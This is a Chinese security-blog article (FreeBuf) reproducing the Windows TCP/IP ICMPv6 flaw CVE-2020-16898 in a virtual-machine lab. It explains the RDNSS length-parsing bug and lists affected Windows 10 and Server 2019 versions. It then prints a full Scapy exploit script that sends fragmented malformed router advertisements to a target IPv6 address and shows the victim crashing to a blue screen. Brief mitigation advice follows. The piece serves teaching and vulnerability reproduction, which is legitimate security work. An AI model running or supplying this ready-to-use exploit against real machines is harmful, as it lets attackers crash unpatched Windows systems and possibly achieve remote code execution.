freeBuf
主站

分类

云安全 AI安全 开发安全 终端安全 数据安全 Web安全 基础安全 企业安全 关基安全 移动安全 系统安全 其他安全

特色

热点 工具 漏洞 人物志 活动 安全招聘 攻防演练 政策法规

点我创作

试试在FreeBuf发布您的第一篇文章 让安全圈留下您的足迹
我知道了

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

0

1

2

3

4

5

6

7

8

9

CVE-2020-16898漏洞复现
FreeBuf_352848 2021-01-08 13:58:03 236448

本文由东塔网络安全学院-10期班学员-社区火猫投稿。

漏洞简介

当Windows TCP / IP大小不当处理ICMPv6路由器广告数据包时,存在远程执行代码入侵。成功利用此入侵的攻击者可以获取目标服务器或客户端上执行代码的能力,可以让受害机蓝屏

为了利用此漏洞,攻击者可能必须将经过特殊设计的ICMPv6路由器广告数据包发送到远程Windows计算机上。

漏洞分析

当Windows TCP / IP堆栈不适当地处理使用选项类型25(递归DNS服务器选项)且长度字段值为偶数的ICMPv6路由器广告数据包时,存在一个漏洞。

当提供一个偶数长度值时,Windows TCP / IP堆栈错误地将网络缓冲区的行进量减少了8个字节。这是因为堆栈在内部以16字节为增量进行计数,因此无法解决使用非RFC兼容长度值的情况。这种不匹配导致堆栈将当前选项的最后8个字节解释为第二个选项的开始,最终导致缓冲区溢出和潜在的RCE。

影响版本

• Microsoft Windows 10 1709• Microsoft Windows 10 1803• Microsoft Windows 10 1809• Microsoft Windows 10 1903• Microsoft Windows 10 1909• Microsoft Windows 10 2004• Microsoft Windows Server 2019

环境部署

攻击机IP:192.168.192.1(win10 1909)

靶机IP:192.168.192.128 (win10 1809)

漏洞复现

确定靶机开启NAT模式以及开启ipv6

全屏模式下点击虚拟网络编辑器然后点击更改设置

然后再开启ipv6,点击确定

确认两台机器都可以互相ping通

靶机ping攻击机

攻击机ping靶机

查看靶机的ipv6地址

查看攻击机的ipv6地址

接着使用一个网上的pyload

内容为

from scapy.all import *from scapy.layers.inet6 import ICMPv6NDOptEFA, ICMPv6NDOptRDNSS, ICMPv6ND_RA, IPv6, IPv6ExtHdrFragment, fragment6 v6_dst = "fd15:4ba5:5a2b:1008:5d26:75a3:1641:ee3" #根据上面的修改为目标机的ipv6地址 或者 临时ipv6地址v6_src = "fe80::9548:d004:9491:9c34%13" #攻击者的本地ipv6地址 p_test_half = 'A'.encode()*8 + b"\x18\x30" + b"\xFF\x18"p_test = p_test_half + 'A'.encode()*4 c = ICMPv6NDOptEFA() e = ICMPv6NDOptRDNSS()e.len = 21e.dns = ["AAAA:AAAA:AAAA:AAAA:FFFF:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA","AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA:AAAA" ]aaa = ICMPv6NDOptRDNSS()aaa.len = 8pkt = ICMPv6ND_RA() / aaa / \ Raw(load='A'.encode()*16*2 + p_test_half + b"\x18\xa0"*6) / c / e / c / e / c / e / c / e / c / e / e / e / e / e / e / e p_test_frag = IPv6(dst=v6_dst, src=v6_src, hlim=255)/ \ IPv6ExtHdrFragment()/pkt l=fragment6(p_test_frag, 200) for p in l: send(p)

上边的目标机的ip要为ipv6地址或临时ipv6地址

攻击机的ipv6要为本地链接ipv6地址

将地址写入到payload中,可以实施攻击。

攻击的要利用到一个scapy的组件,这个组件依赖于python环境

在攻击机上装上python环境 (从官网下载并配置环境)

Scapy是一个Python程序,使用户能够发送,嗅探和剖析并伪造网络数据包。此功能允许构建可以探测,扫描或攻击网络的工具。

命令为:pip install scapy

如果失败的话可能是python版本太高,可以选用python3.7版本的

可以看出我是装了这个组件的

启动scapy,出现如下界面

cd进入桌面(桌面存在这个文件)

然后使用这个命令:

python CVE-2020-16898.py

可以看到受害机蓝屏

实验完成

漏洞修复

尽量开启防火墙

关闭ipv6服务

对外部流量进行严格过滤

# 漏洞复现
本文为 FreeBuf_352848 独立观点,未经授权禁止转载。
如需授权、对文章有疑问或需删除稿件,请联系 FreeBuf 客服小蜜蜂(微信:freebee1024)
被以下专辑收录,发现更多精彩内容
+ 收入我的专辑
+ 加入我的收藏
FreeBuf_352848 LV.4
这家伙太懒了,还未填写个人描述!
  • 106 文章数
  • 79 关注者
Apache DolphinScheduler高危漏洞
2022-03-08
ThinkAdmin(CVE-2020-25540)漏洞复现
2022-03-08
XStream反序列化命令执行漏洞复现(CVE-2021-29505)
2021-08-30
文章目录